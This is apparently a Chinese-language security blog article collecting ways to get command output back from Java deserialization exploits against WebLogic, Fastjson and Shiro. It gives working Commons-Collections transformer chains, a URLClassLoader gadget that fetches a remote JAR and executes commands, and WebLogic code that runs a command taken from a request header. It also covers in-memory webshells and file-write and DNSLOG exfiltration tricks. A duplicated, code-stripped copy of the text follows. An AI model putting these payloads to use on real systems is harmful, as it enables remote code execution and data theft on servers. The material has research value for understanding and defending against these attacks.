Java 反序列化回显的多种姿势
字数 849 2025-08-20 18:18:05

Java反序列化回显技术全面解析

写在文前

本文全面探讨Java反序列化漏洞中的回显技术,总结了多种实现方式,适用于weblogic、fastjson、shiro等反序列化漏洞场景。

defineClass技术

defineClassClassLoader类的核心方法,用于通过字节码定义类。

实现原理

public class MyClassLoader extends ClassLoader {
    private static String myClassName = "com.test.ClassLoader.HelloWorld";
    private static byte[] bs = new byte[]{...}; // 类字节码
    
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        if (name == myClassName) {
            return defineClass(myClassName, bs, 0, bs.length);
        }
        return super.findClass(name);
    }
}

使用方式

  1. 继承ClassLoader
  2. 重写findClass方法
  3. 在方法中调用defineClass加载恶意类
  4. 通过反射调用类方法

RMI绑定实例回显

利用commons-collections反射调用defineClass,通过RMI实现回显。

关键代码

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(DefiningClassLoader.class),
    new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
    new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{className, classBytes}),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
    new ConstantTransformer(new HashSet())
};

实现步骤

  1. 定义恶意命令执行类,继承Remote接口
  2. 使用CC链反射调用defineClass
  3. 将类对象绑定到RMI服务
  4. 通过JNDI调用获取回显

URLClassLoader异常回显

通过将回显结果封装到异常信息中抛出。

命令执行类

public class ProcessExec {
    public ProcessExec(String cmd) throws Exception {
        InputStream stream = new ProcessBuilder("cmd.exe", "/c", cmd).start().getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(stream, "gbk"));
        StringBuffer buffer = new StringBuffer();
        String line;
        
        while((line = reader.readLine()) != null) {
            buffer.append(line).append("\n");
        }
        
        throw new Exception(buffer.toString());
    }
}

使用方式

  1. 将类打包为JAR文件
  2. 使用URLClassLoader加载
  3. 通过CC链反射调用
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(URLClassLoader.class),
    new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{URL[].class}}),
    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1/p.jar")}}}),
    new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"ProcessExec"}),
    new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),
    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{"ipconfig"}})
};

中间件回显技术

Tomcat回显方法

  1. 基于内存Webshell:动态注册Filter实现回显
  2. 文件操作符写入:将结果写入文件描述符
  3. 线程上下文获取:通过Thread.currentThread().getContextClassLoader()获取request/response
  4. Register获取:直接从Register获取process对应的request

Weblogic回显代码

Weblogic 10.3.6

String cmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("cmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(cmd));
outputStream.flush();

Weblogic 12.1.3

Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("result"));

文件写入回显

Linux实现

cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo `id` > 1.txt

Windows PowerShell实现

$file = Get-ChildItem -Path . -Filter test.html -recurse -ErrorAction SilentlyContinue
$f = -Join($file.DirectoryName,"/a.txt")
echo 222 | Out-File $f

DNSLOG回显

使用技巧:

  1. 使用PowerShell或base64编码命令,避免特殊字符问题
  2. 选择小众DNSLOG平台提高成功率

参考资源

  1. ClassLoader原理
  2. Weblogic回显构造
  3. Tomcat回显方法
  4. 内存Webshell技术
Java反序列化回显技术全面解析 写在文前 本文全面探讨Java反序列化漏洞中的回显技术,总结了多种实现方式,适用于weblogic、fastjson、shiro等反序列化漏洞场景。 defineClass技术 defineClass 是 ClassLoader 类的核心方法,用于通过字节码定义类。 实现原理 使用方式 继承 ClassLoader 类 重写 findClass 方法 在方法中调用 defineClass 加载恶意类 通过反射调用类方法 RMI绑定实例回显 利用commons-collections反射调用defineClass,通过RMI实现回显。 关键代码 实现步骤 定义恶意命令执行类,继承 Remote 接口 使用CC链反射调用 defineClass 将类对象绑定到RMI服务 通过JNDI调用获取回显 URLClassLoader异常回显 通过将回显结果封装到异常信息中抛出。 命令执行类 使用方式 将类打包为JAR文件 使用URLClassLoader加载 通过CC链反射调用 中间件回显技术 Tomcat回显方法 基于内存Webshell :动态注册Filter实现回显 文件操作符写入 :将结果写入文件描述符 线程上下文获取 :通过 Thread.currentThread().getContextClassLoader() 获取request/response Register获取 :直接从Register获取process对应的request Weblogic回显代码 Weblogic 10.3.6 Weblogic 12.1.3 文件写入回显 Linux实现 Windows PowerShell实现 DNSLOG回显 使用技巧: 使用PowerShell或base64编码命令,避免特殊字符问题 选择小众DNSLOG平台提高成功率 参考资源 ClassLoader原理 Weblogic回显构造 Tomcat回显方法 内存Webshell技术